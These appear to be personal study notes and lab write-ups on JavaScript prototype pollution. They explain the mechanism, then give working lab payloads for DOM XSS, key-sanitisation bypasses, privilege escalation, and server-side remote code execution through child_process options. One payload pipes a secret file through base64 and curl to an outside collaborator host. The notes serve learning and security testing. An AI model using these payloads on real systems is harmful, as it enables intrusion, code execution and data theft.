# Prototype pollution

[TOC]

==Definition==

Prototype pollution is a vulnerability in javascript ,that enable attacker to add properties
to global object prototype, which may then be inherited by user-defined objects.

# Javascript prototype and inheritance

Almost everything in JavaScrpt is an object under the hood

## property

property -> key:value

const meowhecker = {
    name:"meowhecker", //property
    age:10 //property
    method:function(){
        // do somethings
    }
}

## Access the property

Access Methods:
- dot notation
- bracket notation

meowhecker.name
meowhecker['age']

## Object Literal

Object Literal is mean the object is create by the curly brace syntax

## Javascript prototype

Every object in javascript is linked to another object (prototype)

By the Default

Javascript automatically assign new object one of built-in prototype.



let myObject = {};
Object.getPrototypeOf(myObject);    // Object.prototype

let myString = "";
Object.getPrototypeOf(myString);    // String.prototype

let myArray = [];
Object.getPrototypeOf(myArray);	    // Array.prototype

let myNumber = 1;
Object.getPrototypeOf(myNumber);    // Number.prototype

Object automatically inherit all the property of their assign prototype

## Javascript inheritance

When we reference a property of an Object

Firstly -> JavaScript engine access the property directly on the object itself.

if the property is not found on the object,we then looking for it in the object's prototype


## Prototype chain

object's prototype is just another object, which should also have own prototype


Crucially, objects inherit properties not just from their immediate prototype, but from all objects above them in the prototype chain.

username object can access to the prototype and method of both String.prototype and Object.prototype.

## Accessing an object's prototype using __porto__

username.__proto__
username['__proto__']

chain reference

username.__proto__                        // String.prototype
username.__proto__.__proto__              // Object.prototype
username.__proto__.__proto__.__proto__    // null

## Modify prototype

String object

String.prototype.removeWhitespace = function(){
    // remove leading and trailing whitespace
}

let searchTerm = " example "; 
searchTerm.removeWhitespace(); // "example"

# Prototype Pollution vulnerability ARise.

Prototype pollution arise when recursively merges an object containing user-controllable properties into an existing object

Sample

const object1 = {
    name: "Alice",
    address: {
      city: "New York",
      country: "USA"
    }
  };
  
  const object2 = {
    age: 30,
    address: {
      country: "Canada"
    }
  };
  
  const mergeObject = {};
  
  function resursiveMerge(targetObject, inputObj) {
    for (let key in inputObj) {
      if (typeof inputObj[key] === "object" && inputObj[key] !== null) { //if value is object and valule isn't null 
        if (!targetObject[key]) {
          targetObject[key] = {};  // create empty Key
        }
        resursiveMerge(targetObject[key], inputObj[key]); // resursive invoke
      } else {
        targetObject[key] = inputObj[key]; // Assight the value 
      }
    }
  }
  
  resursiveMerge(mergeObject, object1);
  resursiveMerge(mergeObject, object2);
  
  console.log(mergeObject);
  

Result

{
  name: 'Alice',
  address: { city: 'New York', country: 'Canada' },
  age: 30
}

If developer doesn't sensitive the key, we can inject a property with key like __proto__

merger operation may assign the property to the object's prototype instead of the object's itself

Common Occurs:
Object.prototype

# Exploitation of Prototype Pollution

## Getter

__proto__ -> getter

__proto__ point to object prototype.
javascript can use this to return object prototype !

When we assign the value by __proto__, actually we are assign value on prototype !

let obj = {};
obj.__proto__.evilProperty = "I'm evil!";

console.log(obj.evilProperty); // "I'm evil!"
console.log(Object.prototype.evilProperty); // "I'm evil!"

Sample


## Prototype pollution source

Prototype pollution source means any user control input that enable you to add arbitrary property to prototype object

==Common source==

URL or fragment string (hash)
JSON-base input
Message

### (Source 1)Prototype pollution via the url

When breaking the query string as key:value !

->Seen __proto__ is string to merge exists Object

Example (Website parse key and value via URL)

https://mewohecker.com?__proto__['evilProperty'] = payload

Merge Operation !

{
    existingProperty1: 'foo',
    existingProperty2: 'bar',
    __proto__: {
        evilProperty: 'payload'
    }
}

statement equivalent to the following:

targetObject.__proto__.evilProperty = 'payload';


If the `targetObject` is `Object.prototype`, all objects will inherit the "evil" property.

### (Source 2)Prototype pollution JSON input

JSON.parse will seen "__proto__" as a string not a getter method, it provide us a potential vector for prototype pollution.

const objectLiteral = {__proto__:{admin:"Ture"}}
const objectFromJson = JSON.parse('{"__proto__":{"admin":"Ture"}}')


console.log(objectLiteral.hasOwnProperty('__proto__'))    //false
console.log(objectFromJson.hasOwnProperty('__proto__'))  //true 

## Prototype pollution sink

"Sink" refers to javaScript Function or DOM element that allow us to execute arbitrary javasScript or system command.

prototype pollution can enable us to manipulate property that original inaccessible.

we will have more opportunity to interact with additional sinks and exploit it

## Prototype pollution gadgets(小裝置)

gadges -> Prototype pollution vulnerability turn into an actual exploit

- Passing a property to a sink without any sensitivity!

- An object inherits a malicious property added to the prototype by an attacker.

If injected property is defined directly on the object itself, it's not considered a prototype pollution gadgets (The object's own version fo the property takes precedence over the injected property)

### Example of prototype pollution gadgets

Library code

let transportURL = config.transportURL || default.transportURL

if a specific options (config.tranportURL) is not present a predefined default option (default.transportURL) will be used instead.

---

# Client-Side prototype pollution

## Manual Testing

- Step 1 Find out injection Point !
Find ouy url(Parse Key:value ) or json input(Using Json.parse()) can merge exists obj malicious attribute to prototype

Step 2 Check Pollution Occurred !
create obj in console to determine the pollution was occurred!

__proto__[foo]=bar
__proto__.foo=bar

Bypass __protot__ check !
myObject.constructor.prototype ==  myObject.__proto__

## DOM Invader(XSS 測試工具)

DOM Invader is Burp Suite extension tool(pre-installer) used for automated testing the DOM XSS vulnerabilities.

### Enabling DOM invader



### Key Feature


==Automatically identify sources of client-side prototype pollution==

the tool will automatically detect the potential Source and you can then select "Scan for gadgets" options to find the Sink and exploit it.


## Lab: DOM XSS via Client-side prototype pollution

>Description:
Confing.transport is not be defined We can pollute it by using the __proto__.

### Impact
pre-auth
Arbitrarily javascript execution

### Analysis



I found the object will inherit the __proto__, if the property is not be defined.

Source

async function logQuery(url, params) {
    try {
        await fetch(url, {method: "post", keepalive: true, body: JSON.stringify(params)});
    } catch(e) {
        console.error("Failed storing query");
    }
}

async function searchLogger() {
    let config = {params: deparam(new URL(location).searchParams.toString())};

    if(config.transport_url) {
        let script = document.createElement('script');
        script.src = config.transport_url;
        document.body.appendChild(script);
    }

    if(config.params && config.params.search) {
        await logQuery('/logger', config.params);
    }

Analysis

logQuery()
input: HTTP URL　and Params

JSON.stringify(params)

javascript Object trans into JSON

searchLogger()

create the config Object

Attribute -> params
Methods:

ToStrng

transport_url

-> transport\_URL -> If transport\_URL is not defined, we can pollute it
(we could control it )

script.src = config.transport_url;

Source:

->URL query

?search=meowhecker&constructor[prototype][testproperty]=DOM_INVADER_PP_POC

Embedding the data that we can control in the URL.

Format

data:[<mediatype>][;base64],<data>

Sink:

<script src="$transport_url"></scirpt>

Identify a gadget


Steps to Reproduce

XSS-payload


?search=meowhecker&__proto__[transport_url]=data%3A%2Calert%281%29


Solved !

---

## LAB:DOM XSS via an alternative prototype pollution vector

### Impact:

pre-auth
Arbitrarily javascript execution

### Analysis

Prototype pollution is probable:

Method 1

url?__proto__['meow']=hecker 

-> Failed
Object.prototype is not affected by our injection
. So we can try another way to test it

Method 2

url?__proto_.meow = hecker

Result

Sink:

Search logger()

async function searchLogger() {
    window.macros = {};
    window.manager = {params: $.parseParams(new URL(location)), macro(property) {
            if (window.macros.hasOwnProperty(property))
                return macros[property]
        }};
    let a = manager.sequence || 1;
    manager.sequence = a + 1;

    eval('if(manager && manager.sequence){ manager.macro('+manager.sequence+') }');

    if(manager.params && manager.params.search) {
        await logQuery('/logger', manager.params);
    }
}

window.addEventListener("load", searchLogger);

manager.squence -> not Defined !!

payload

?__proto__.sequence=alert(1)

### Payload

Debug analysis:



We need to consider how to make "alert(1)1" can be execute correctly within eval function

 let object ={
        sequence:"alert(1)"
    }
    let source = object.sequence+"1"
    console.log(source)
    
    eval(source)


Validated Payload

alert(1)<!--

or

alert(1)-"

這裡 - 會被parse 成 -號 但alert(1) 會被execute

evil -> 可以想成`<script></script>`


## Prototype Pollution via the Construction(Alternative Vector)

### Common Defends

Common Defends strategy involves to removing any property with key __proto__ from user controlled object.

However, it's possible to reference `Object.prototype` without using the string "proto" at all.

---

If the prototype set is not "null," the `Object` will utilize the constructor function (`Object`) to create a new instance.

myObjectLiteral.constructor    // function Object(){...}
myObject.constructor           // function Object(){...}

COnstructor function Also have the __proto__ property

myObject.constructor.prototype        // Object.prototype
myString.constructor.prototype        // String.prototype
myArray.constructor.prototype         // Array.prototype

As `myObject.constructor.prototype` is equivalent to `myObject.__proto__`, this provides an alternative vector for prototype pollution.

__proto__[meow]='hecker'
__proto__.meow='hekcer'
object.constructor[prototype]=hecker  

URL

__proto__.property="value"
Object.constructor.prototype.property="value"

### JSON payload

"constructor":{
"prototype":{
"isAdmin":true
}
}

## Bypass Flawed key sensitive

Common mistake is failing to recursively sanitize the input string.

e.g.

url?__pro__proto__to__[gadget]=payload

url?__proto__.gadget=payload

## Lab: Client-side prototype pollution via flawed sanitization

Analysis

__proto__.meow='hecker'
__proto__[meow]='hecker'

construct.prototype.meow ='hecker'
construct[prototype][meow]='hecker'

## Key Sensitive Bypass
GET /resources/js/searchLoggerFiltered.js

function sanitizeKey(key) {
    let badProperties = ['constructor','__proto__','prototype'];
    for(let badProperty of badProperties) {
        key = key.replaceAll(badProperty, '');
    }
    return key;
}

?__pro__proto__to__[meow]='hecker'


### Sink

async function searchLogger() {
    let config = {params: deparam(new URL(location).searchParams.toString())};
    if(config.transport_url) {
        let script = document.createElement('script');
        script.src = config.transport_url;
        document.body.appendChild(script);
    }
    if(config.params && config.params.search) {
        await logQuery('/logger', config.params);
    }
}

### Exploit

payload

?__pro__proto__to__[transport_url]=data:,alert(1);


---

## Prototype pollution in external libraries

The prototype pollution gadgets may occur in the third-part library that are imported by the application

## LAB Client-side prototype pollution in third-part libraries.

Using the DOM invader to Search potential Sink


### Impact:

Arbitrary Javascript Execution

Analysis:



### payload

#__proto__[hitCallback]=alert%281%29

Craft the response

Mal-URL

https://exploit-0af700bc036fcd7783a4ecd701520015.exploit-server.net/meowhecker.com

Response Header

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8

BOdy

Hello, world!
I'am MeowHecker~

<script>
location = "https://0af200cc03b3cdab8317ed9e006b0046.web-security-academy.net/#__proto__[hitCallback]=alert(%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%20)"
</script>

IF the victim clicks the malicious URL, it will trigger the payload and execute the arbitrary javascript code.

---

## Browser API

### prototype via fetch()

fetch function allow the client to trigger the HTTP requests Using the javascript.

Sample

fetch('http://meowhecker',{
    method:POST,
    body:username=??&password=??
})

Vulnerable Code

Attacker can try the use header property to inject malicious code

fetch('/my-products.json',{method:"GET"})
    .then((response) => response.json())
    .then((data) => {
        let username = data['x-username'];
        let message = document.querySelector('.message');
        if(username) {
            message.innerHTML = `My products. Logged in as <b>${username}</b>`;
        }
        let productList = document.querySelector('ul.products');
        for(let product of data) {
            let product = document.createElement('li');
            product.append(product.name);
            productList.append(product);
        }
    })
    .catch(console.error);

It utilize an HTTP request to retrieve the username from the server and set the vale of the username variable

let username = data['x-username']

Before the requesting to JSON file, the username variable is not defined
and attacker can inject malicious property pass in InnerHTML(SINK) which can leaded to DOM XSS

message.innerHTML = `My products. Logged in as <b>${username}</b>`;

payload

?__proto__[headers][x-username]=<img/src/onerror=alert(1)>

headers -> 取得HTTP request (header)部分

Analysis

const customerHeader = {
    headers:{
    'Content-Type': 'application/json',
    'Authorization': 'meowhecker secret-token',
    'testing':undefined
    }
}

const response ={
    __proto__:customerHeader
}

console.log(response.headers); 
console.log(response.__proto__.headers);  
console.log(response.__proto__.headers['Content-Type']); 

-> we can controlled any undefined property of the options object passed to fetch()

## Prototype pollution via Object.defineProperty()

Flawed prototype pollution Mitigation

const vulnerableObject = {}

Object.defineProperty(vulnerableObject,'gadgetProperty',{
    configurable:false,
    writable:false
})

vulnerableObject.gadgetProperty = "meowhacker hacke in"

console.log(vulnerableObject.gadgetProperty)

descriptor 如果沒有 initial value -> e.g. value : "value"

payload

__proto__.value="evil input"

---

## LAB
analysis:

Source(URL)

/?__proto__[meow]="hacker"


vulnerable code

async function searchLogger() {
    let config = {params: deparam(new URL(location).searchParams.toString()), transport_url: false};
    Object.defineProperty(config, 'transport_url', {configurable: false, writable: false});
    if(config.transport_url) {
        let script = document.createElement('script');
        script.src = config.transport_url;
        document.body.appendChild(script);
    }
    if(config.params && config.params.search) {
        await logQuery('/logger', config.params);
    }
}

Object.defineProperty(config, 'transport_url', {configurable: false, writable: false});

he don't defined the initial value of the property(Object.defineProperty )!!

/?__proto__[value]=meowhecker


### Exploit

payload

?__proto__[value]=data:,alert(1)


# Serve Side prototype pollution

More difficult

- NO-source code

- DOS problems

- Pollution persistence

## Polluted property reflection(Detection)

A "for...in" loop in JavaScript can enumerate properties, including those inherited from the prototype.

userObj = {
    name:"user",
    password:"user123"
}

Object.prototype.meow = "hacker"
console.log(userObj.hasOwnProperty('moew')) //output: false 
console.log(userObj.meow)

console.log("---------------------------------------------------")

//for loop enumerate
console.log("for...loop")
for (propertyKey in userObj){
    console.log(propertyKey)
}

if the server side for..loop is used to retrieve obj values and respond to client, we can utilize it to send POST or PUT request to test whether there is a global prototype pollution or not.

### Detect way (Reflect)

Way 1 (JSON injections)

Request!

POST /user/update HTTP/1.1
Host: vulnerable-website.com

...

{
    "name":"user",
    "password":"user123",
    __proto__:{
        "meow":"hacker" // injected property
    }
}

Response!

HTTP/1.1 200 OK
...

//if the website have prototype pollution vulnerable
{
    "name":"user",
    "password":"user123",
    "meow":"hacker" //Server-side have prototype pollution
}

In rare case, the website use these properties to dynamically generate the html. This mean that we can analysis the html to know the website whether it have vulnerability or not.

if we are aware prototype pollution is possible,the next step is to find the potential gadget to exploit this vulnerability

We could investigate any feature including updating user date, if we can arbitrarily modify any property of the current user object ,this potentially lead to a number of vulnerabilities, including privilege escalation.

## LAB- Privilege escalation via server-side prototype pollution

Environment
- Node.js
- Express

After logging into the website, we are aware that there is an "update user" functionality. We can proceed to test it to determine whether there is a prototype pollution vulnerability.

POST /my-account/change-address HTTP/2

Request

POST /my-account/change-address HTTP/2
{"address_line_1":"Wiener HQ meowTest","address_line_2":"One Wiener Way","city":"Wienerville","postcode":"BU1 1RP","country":"UK","sessionId":"YutUbIOtOx84Q7Dw9VeolizacFtRiH5Y",
"__proto__": {
    "meow":"Hacker"
}
}

Response

{"username":"wiener","firstname":"Peter","lastname":"Wiener","address_line_1":"Wiener HQ meowTest","address_line_2":"One Wiener Way","city":"Wienerville","postcode":"BU1 1RP","country":"UK","isAdmin":false,"foo":"bar","meow":"Hacker"}

Based on the results, if we can arbitrarily modify user object properties, we can attempt to elevate the user's privileges to that of an admin.

Privilege User -> Admin

payload
request

POST /my-account/change-address HTTP/2
"__proto__": {"admin":"true"}

Easy



---

## Detecting prototype pollution without polluted property pollution (Non-destructive)

we can attemp inject property to the potential configuration option of the server, and compare the server's behavior before and after

### Status code override

HTTP/1.1 200 OK
...
{
    "error": {
        "success": false,
        "status": 401,
        "message": "You do not have permission to access this resource."
    }
}

self-defined Error Object
Node http-error module

function createError(arg,status){
    

    // object
    if (typeof arg === 'object' && arg instanceof Error){
        status = arg.status || arg.statusCode || status
    }else if (arg === 'number'){
        status = arg;
    }
    const error = new Error(`Custom Error with Status Code${status}`)
    error.status = status
    
    return error
}


const error1 = createError(404); // create 404 Error Object 
console.error(error1);

const customError = new Error('This is a custom error');
customError.status = 418;

const error2 = createError(customError);
console.error(error2);

Injected point:
==status = arg.status \|| arg.statusCode || status==

If the developer didn't explicitly set the "status" property for an error, we could attempt to pollute this property to determine whether there is a prototype pollution vulnerability or not.

#### Methods

1. Find a way to trigger the error and record the default status code.

2. Attempt to pollute the prototype with your own `status` property.

3. Trigger the error response and check whether the status code has been overridden.

### JSON spaces override

Express 4.17.4 (below)

### charset override

middleware -> preprocessing of requests before pass to the handler function

==req.body obj==

const express = require("express");
const bodyParse = require("body-parser")
const app = express()

//middleWare 

//Parse the reqeust

    //paser application/x-www-form-urlencoded"
    app.use(bodyParse.urlencoded())

    //paser JSON data to js object 
    app.use(bodyParse.json())



app.post('/api/meow',(req,rsp)=>{
    const requestBodyObj  = req.body
    console.log(requestBodyObj)
    rsp.json({message:'Received data !!'})
})

const port = process.env.PORT || 8001
app.listen(port,()=>{
    console.log(`Server is running on port ${port}`);
    console.log(`http://127.0.0.1:${port}`)
})

USER@DESKTOP-QGJ2K9H MINGW64 ~/Desktop/CSIE/WebSecurity (master)
$ curl -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "key1=value1&key2=value2" http://127.0.0.1:8001/api/meow
{"message":"Received data !!"}

body-parser deprecated undefined extended: provide extended option reqBodyObj.js:10:23
Server is running on port 8001
http://127.0.0.1:8001
{ key1: 'value1', key2: 'value2' }

---

charset

charset is used to instruct the server on how to decode and parse the data

const express = require("express");
const bodyParse = require("body-parser")
const contentType = require('content-type');
const read = require('read');

const app = express()
const port = process.env.PORT || 8001

//middleWare 

//Parse the reqeust

    //paser application/x-www-form-urlencoded"
    app.use(bodyParse.urlencoded({ extended: false }))

    //paser JSON data to js object 
    app.use(bodyParse.json())

    app.use((err, req, res, next) => {
        console.error('Error:', err);
        res.status(500).send('Internal Server Error');
    });


function getCharset(req){
    try {
        //get the contentType of charest property 
        return (contentType.parse(req).parameters.charset || "").toLowerCase()
    }
    catch(error){
        console.log(error)
        return undefined
    }
}

app.post('/api/post1',(req,res)=>{
    const requestBodyObj  = req.body
    console.log(requestBodyObj)
    res.json({message:'Received data !!'})
})

//charset
app.post('/api/post2',(req,res)=>{
    // get the charset form HTTP header (Content-Type:)
    const charset = getCharset(req) || "utf-8" 

    const readOption = {
        //encoding -> Inform the server to use a specific character encoding for decoding when reading data.
        encoding: charset
        // //compose data 
        // inflate: inflate,
        // //Maximum string length.
        // limit: limit,
        // verify: verify
    }

    //read the data: parse request -> to data 
    //Read function have BUG
    read(req,res,(err,data)=>{
        if(err){
            console.error('Error reading request:', err);
            res.status(500).send('Internal Server Error');
        }else{
            console.log(data)
            // res.json({message:'Received data !!'})
            res.send('Request data received successfully!');
        }
    },readOption)
})


app.listen(port,()=>{
    console.log(`Server is running on port ${port}`);
    console.log(`http://127.0.0.1:${port}`)
})

How to test??

we could follow these steps

send the json data to the server
In this data, the "role" field contains the value "+AGYAbwBv-", which is encoded as "foo" in UTF-7.

{
    "sessionId":"0123456789",
    "username":"meowhecker",
    "role":"+AGYAbwBv-"
}

And attempt to polluted req object

{
    "sessionId":"0123456789",
    "username":"meowhecker",
    "role":"default",
    "__proto__":{"content-type": "application/json; charset=utf-7"}
}

This payload tries to set the charset to UTF-7.

Resend

{
    "sessionId":"0123456789",
    "username":"meowhecker",
    "role":"+AGYAbwBv-"
}

if there is prototype pollution the role field will be pare as "foo"

#### `_http_incoming` module

IncomingMessage.prototype._addHeaderLine = _addHeaderLine;
function _addHeaderLine(field, value, dest) {
    // ...
    } else if (dest[field] === undefined) {
        // Drop duplicates
        dest[field] = value;
    }
}

`_addHeaderLine()` function checks -> checks that no property already exists with the same key before transferring properties to an `IncomingMessage` object

我們用自己的 content-type 屬性污染原型-> undefined，則此時表示請求標頭原生的將被drop掉

讓我們的injection 有效

## LAB-Detecting server-side prototype pollution without the polluted prototype pollution

Request

POST /my-account/change-address HTTP/2


...

{"address_line_1":"Meowhecker","address_line_2":"meow","city":"Wienerville","postcode":"BU1 1RP","country":"UK","sessionId":"lnWxQjQS8kEloO4WUo97pDnNqcJ3j34k"}

Response

HTTP/2 200 



{"username":"wiener","firstname":"Peter","lastname":"Wiener","address_line_1":"Meowhecker","address_line_2":"meow","city":"Wienerville","postcode":"BU1 1RP","country":"UK","isAdmin":false}

Now we could attempt to inject the prototype property to test it

{"address_line_1":"Meowhecker","address_line_2":"meow","city":"Wienerville","postcode":"BU1 1RP","country":"UK","sessionId":"lnWxQjQS8kEloO4WUo97pDnNqcJ3j34k",
"__proto__": {
"meow":"hacker"
}
}

it appears that response didn't reflect any of the injected property

{"username":"wiener","firstname":"Peter","lastname":"Wiener","address_line_1":"Meowhecker","address_line_2":"meow","city":"Wienerville","postcode":"BU1 1RP","country":"UK","isAdmin":false}

### Status code Override (way 1)

However, this dose not necessarily mean that there is no prototype pollution, we could try status code override to further investigate.

---

if we intentionally break the json form by removing the comma, The response might result in a error object


400 -> bad request

Implement might be like this:

status = arg.status || arg.statusCode || status

we could try

Inject prototy

POST /my-account/change-address HTTP/2

"__proto__": {
"status":555
}

HTTP/2 200 OK

...


---




### Charset override (way 2 )

Vulnerable implement probably like this:

app.post('/api/post2',(req,res)=>{
    // get the charset form HTTP header (Content-Type:)
    const charset = getCharset(req) || "utf-8" 

function getCharset(req){
    try {
        //get the contentType of charest property 
        return (contentType.parse(req).parameters.charset || "").toLowerCase()
    }
    catch(error){
        console.log(error)
        return undefined
    }
}

contentType.parse(req).parameters.charset
-> http Header -> contentType

payload

"__proto__":{
        "content-type": "application/json; charset=utf-7"
    }

utf-7 Encoding
foo --> +AGYAbwBv-

Inject the prototype property !!

POST /my-account/change-address HTTP/2

---
POST /my-account/change-address HTTP/2

HTTP/2 200 OK

## Scanning for source

Auto Scanning Extension

Bapp store

Basic work flow

1. Install the **Server-Side Prototype Pollution Scanner** extension from the BApp Store and make sure that it is enabled. For details on how to do this, see [Installing extensions](https://portswigger.net/burp/documentation/desktop/extensions/installing-extensions)
2. Explore the target website using Burp's browser to map as much of the content as possible and accumulate traffic in the proxy history.
3. In Burp, go to the **Proxy > HTTP history** tab.
4. Filter the list to show only in-scope items.
5. Select all items in the list.
6. Right-click your selection and go to **Extensions > Server-Side Prototype Pollution Scanner > Server-Side Prototype Pollution**, then select one of the scanning techniques from the list.
7. When prompted, modify the attack configuration if required, then click **OK** to launch the scan.

go to the **Extensions > Installed** tab, select the extension, then monitor its **Output** tab for any reported issues.



## Bypass input filter

### Flawed Sanitiztion
developer will write something to sanitize input(key sanitzation)

if developer didn't use recursion to thoroughly check, it's possible to bypass flawed key sanitization

`?__pro__proto__to__.gadget=payload`

or

use construction function

### Flawed application Configuration

Node applications can also delete or disable `__proto__` using the command-line flags `--disable-proto=delete` or `--disable-proto=throw`

we could use constructor function to bypass it

// Create a constructor function
function LocalObj() {
    name:"local object"
}

// Add a property to the prototype(global testing)
Object.prototype.property = "meow adding form Global Obj";

// Create an instance of MyObject
const myInstance = new LocalObj();

// Access the property on the instance
console.log(myInstance.property); // This will output "meow"

---

URL

__proto__.property="value"
Object.constructor.prototype.property="value"

JSON

"constructor":{
	"prototype":{
"isAdmin":true
 }
}

## LAB-bypass input filter for server-side prototype pollution

我們直接在constructor 裡面 做prototype pollution
想必用單純的__proto__ 是沒辦法去做prototype pollution

Analysis:

"constructor":{
	"prototype":{
"status":580
}
}


---


---

"constructor":{
	"prototype":{
"isAdmin":true
}
}

or IN url(沒試過)

Object.constructor.prototype.isAdmin = true




conclusion
we cloud use

## Remote Code Execution

client-side ->DOM XSS
server-side ->potentially lead to RCE

### Vulnerably request

`child_process` module have a number of potential command execution sink in Node

Identify a vulnerably request:

Those danger sink are often invoked by a request that occurs asynchronously to the request

identified way

The best way to identify these requests is by polluting the prototype with a payload that triggers an interaction C2 server when called

`NODE_OPTIONS` -> String (為一組/多組 command line argument)

e.g.

- `--max-old-space-size`
- `--inspect`

For 自動 Depoly 可用的

When you start a new Node.js process, the defined command-line arguments should be used by default.

NODE_OPTIONS is a property of the env object, if value is not defined, we can attempt to polluted it and control it

Source:

var env = options.env || process.env; //638

Some node functions create new child process that accept the "shell" property to execute command
we could combine with NODE_OPTION(controllable-source) to execute arbitrary command

#### inspect

function sayHello() {
    console.log('Hello, world!');
    while(1){
        var number = 0
    }    
}
  sayHello()

Cmd:

node --inspect .\debugInspeat.js

(Local Debugger)

Chrome Node Debuger

`chrome://inspect`


click `inspect`

(Remote dubgger)

--inspect=0.0.0.0:9229

"__proto__":{
    "shell":"node",
    "NODE_OPTION":"--inspect=YOUR-COLLABORATOR-ID.oastify.com\"\".oastify\"\".com"
}

### Child_process.fork() Method

https://github.com/nodejs/node/blob/02aa8c22c26220e16616a88370d111c0229efe5e/lib/child_process.js#L638-L68

Fork Function

function fork(modulePath, args = [], options) { //120

...

return spawn(options.execPath, args, options);

Remote Code Execution

const {fork} = require('child_process')

const execArgsOptions=[
    "--inspect=9926",
    "--eval=require('child_process').execSync('curl http://127.0.0.1:8000')"
]

const options ={
    //property 
    execArgv:execArgsOptions
}
const mainProcess = fork('child.js',[],options)

--eveal -> it could import the module

node .\mainProcessFork.js
Debugger listening on ws://127.0.0.1:9926/57a078d8-f94f-4a35-bf5d-49e2c7940d76
For help, see: https://nodejs.org/en/docs/inspector
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  5224  100  5224    0     0   284k      0 --:--:-- --:--:-- --:--:--  300k


Payload (RCE)

"__proto__":{
    "execArgv":[--eval=require('child_process').execSync('curl http://127.0.0.1:8000')]"
}

## LAB RCE via server-side prototype pollution

Analysis:

### Charset Override

"constructor":{
	"prototype":{
	"content-type": "application/json; charset=utf-7"
}
}

Request

Response

We are certain that this service easily susceptible by the prototype pollution

### Probe Remote COde execution

POST /admin/jobs

Database clean and File system cleanup are highly likely to use Fork()

const {fork} = require('child_process')

const execArgsOptions=[
    "--inspect=9926",
    "--eval=require('child_process').execSync('curl http://127.0.0.1:8000')"
]

const options ={
    //property 
    execArgv:execArgsOptions
}
const mainProcess = fork('child.js',[],options)

exploit payload

"__proto__": {
    "execArgv":[
        "--eval=require('child_process').execSync('curl https://3.25.65.151')"
    ]
}


"rm /home/carlos/morale.txt"


## child_process.execSync()

execSync() method accept 'shell' and 'input' properties.
we can injected certain property to write exploit script for arriving remote code execution.

const {execSync} = require('child_process')

try {
    const command = 'grep "meowhecker"'
    const input  = 'hellow meowhecker\n meowmeow\n'
    const result = execSync(command,{shell:'/bin/bash',input})
    //if shell and input didn't defind, we could pollute it 
    console.log("Result:", result.toString())

} catch (error){
    console.error("Error", error.message)
}

---
==vulnerable==
(Default execSync())
"shell and input probably haven't been defined "

By polluting both of these property, you may be able to override the command that application intend to execute command.

Note:

shell:"executable binary file"

it's generally tricky to use Node itself as a shell for your attack.

the payload is passed via stdin the shell
must be able to execute command from stdin.

### Vim, Ex (Potential Vector)

"shell":"vim",
"input":"!: <command>\n"

## LAB-Exfiltrating sensitive via serve-side prototype pollution

HTTP Status Override

json inject

"constructor": {
    "prototype":{
    "status":555   
    }
}



---

Probe for Remote Code Execution

"constructor":{
    "prototype":{
	"shell":"vim",
        "input":":! curl http://1lnew78axsatxscyji29q55o1f76vwjl.oastify.com\n"
    }
}


---



ubuntu@ip-54-252-53-102:~$ ls
test
ubuntu@ip-54-252-53-102:~$ ls ./ 
test
ubuntu@ip-54-252-53-102:~$ ls ./ | base64
dGVzdAo=

$ cat meotest | base64 | curl -d @- http://127.0.0.1:8000

@- Reading the data from the standard input.


---

Exploit (Exfiltrating sensitive data)

"__proto__":{
	"shell":"vim",
"input":"! echo 'meowhecker' | base64| curl -d @- http://y76f4empppokvgg4xj032uhxfolf96xv.oastify.com\n"
}


---

"__proto__":{
	"shell":"vim",
"input":"! ls /home/carlos | base64| curl -d @- http://y76f4empppokvgg4xj032uhxfolf96xv.oastify.com\n"
}



"__proto__":{
	"shell":"vim",
"input":"! cat /home/carlos/secret | base64 | curl -d @- http://y76f4empppokvgg4xj032uhxfolf96xv.oastify.com\n"
}



# Real-World Case Analysis

# PP2RCE (prototype pollution to remote code Execution)

Reference https://book.hacktricks.xyz/pentesting-web/deserialization/nodejs-proto-prototype-pollution/prototype-pollution-to-rce

## Vulnerable Code Analysis

//PP2RCE

const { execSync, fork } = require('child_process');

// child_process -> module 
// execSync ->　exec command
// fork -> create sub proccess !!

var object = {
    name:"test"
}

function f1(){
    console.log('Im funciotn')
}

function isObject(obj){
    console.log(typeof obj);
    return typeof obj === 'function' || typeof obj ==='object'
}
//console.log(isObject(f1))
//function
//true

//如果invoke f1() f1 沒有return -> defautl "undefined" !!

function mergeObject(targer,source){
    for(let key in source){
        if(isObject(targer[key])&&isObject(source[key])){
            mergeObject(targer[key],source[key])
        }
        else{
            targer[key] = source[key]
        }
    }
    return targer
}


function cloneObj(targerObj){
    mergeObject({},targerObj)
}

// user object -> source 
clone(USERINPUT);

var MainProcess = fork('execFileEcho.js')
// echo meow>execFileEcho : execSync 

## Gadget

when process is spawned with some method from child_process (fork() or spawn())

fork() will call the `normalizeSpawnArguments` function to create the Env Variable

Source Code
https://github.com/nodejs/node/blob/02aa8c22c26220e16616a88370d111c0229efe5e/lib/child_process.js#L638-L68

標準化Spawn參數 Function

var env = options.env || process.env; //638

...

// Prototype values are intentionally included.
for (const key in env) {
  ArrayPrototypePush(envKeys, key);
}


for (const key of envKeys) { //681~686
    const value = env[key];
    if (value !== undefined) {
      ArrayPrototypePush(envPairs, `${key}=${value}`);
    }
  }

-> 686 (Gadget)
If both options.env and process.env have values, the "env" will choose the value of options.env.

-> 681~686
we can poison envPairs just by pollution the .env attribute

__prototype__['env'] = ??? Attacker can Controlled (source)